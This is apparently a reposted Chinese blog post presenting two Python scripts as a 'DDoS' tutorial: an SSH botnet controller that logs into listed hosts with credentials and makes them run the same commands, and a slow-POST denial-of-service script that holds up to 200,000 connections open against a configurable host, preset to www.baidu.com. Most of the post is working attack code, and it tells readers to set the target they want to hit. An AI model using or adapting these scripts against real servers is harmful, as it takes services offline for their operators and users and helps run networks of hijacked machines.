基於python實現的DDoS

時間 2019-11-10

標籤基於 python 實現 ddos 欄目 Python 简体版

原文原文鏈接

目錄php

代碼地址以下：
http://www.demodashi.com/demo/12002.htmlhtml

本例子包含兩個小程序，具體以下：python

目錄linux

一個簡單的網絡殭屍程序

下面是一個簡單的網絡殭屍程序，先經過添加n個客戶端的ip和登陸帳戶密碼，而後操控這些客戶端發動對同一個目標ping的指令。小程序

若是有上網個分佈在不一樣地區的客戶端，其ping的威力是不小的，攻擊一個小網站是不在話下。服務器

#!/usr/bin/python
# -*- coding: utf-8 -*-
import optparse
#import pxssh
from pexpect import pxssh


class Client:

    def __init__(self, host, user, password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()

    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host, self.user, self.password)
            return s
        except Exception, e:
            print e
            print '[-] Error Connecting'

    def send_command(self, cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before


def botnetCommand(command):
    for client in botNet:
        output = client.send_command(command)
        print '[*] Output from ' + client.host
        print '[+] ' + output 


def addClient(host, user, password):
    client = Client(host, user, password)
    botNet.append(client)


botNet = []
#addClient('127.0.0.1', 'root', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('127.0.0.1', 'wu_being', 'wu.com')
addClient('localhost', 'wu_being', 'wu.com')
# addClient('11.22.33.33', 'root', '123456')
# addClient('112.33.43.55', 'root', 'password')

botnetCommand('uname -v')
botnetCommand('ping www.baidu.com -c 4')
#botnetCommand('cat /etc/issue')

用法（這樣運行的）網絡

huashidazhongbeitushuguan12deiMac:ddos huashida$ ls -l
total 40
-rwxr-xr-x@ 1 huashida  staff  1231 11 28 15:22 4-botNet構建SSH僵屍網絡.py
-rwxr-xr-x@ 1 huashida  staff  1648 11 28 15:16 5-botNet構建SSH僵屍網絡ddos.py
-rwxr-xr-x@ 1 huashida  staff  1967 11 28 15:16 DoS_constantConn_MultiThread.py
-rwxr-xr-x@ 1 huashida  staff  1084 11 28 15:16 dos.py
-rwxr-xr-x@ 1 huashida  staff    53 11 28 15:16 sshpass.txt
huashidazhongbeitushuguan12deiMac:ddos huashida$ python 4-botNet構建SSH僵屍網絡.py

一個簡單的DOS攻擊程序

DoS, Denial of Service, 拒絕服務，一種經常使用來使服務器或網絡癱瘓的網絡攻擊手段。session

咱們要改的是這兩處地方改成：多線程

HOST="127.0.0.1"//你要擼的主機ip地址/域名
PAGE="/welcome/default/index/index.py"//你要擼的頁面

cmd命令行下執行腳本刷刷刷，一連串socket鏈接。。。就開着唄。咱們來看看如今網頁還能夠訪問不？顯然被日癱了。別搞事情！app

#!/usr/bin/env python
import socket
import time
import threading

#Pressure Test,ddos tool
#---------------------------
MAX_CONN=200000
PORT=8000
HOST="www.baidu.com"
PAGE="/index.php"
#---------------------------

buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 1000000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]

def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket (socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "[+] Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except Exception,ex:
            print "[-] Could not connect to server or send error:%s"%ex
            time.sleep(2)
#end def

def send_thread():
    global socks
    while True:
        for s in socks:
            try:
                s.send("f")
                print "[+] send OK! %s"%s
            except Exception,ex:
                print "[-] send Exception:%s\n"%ex
                socks.remove(s)
                s.close()
        time.sleep(1)
#end def

conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
conn_th.start()
send_th.start()

用法和運行方式和上面一個相似，這裏略過。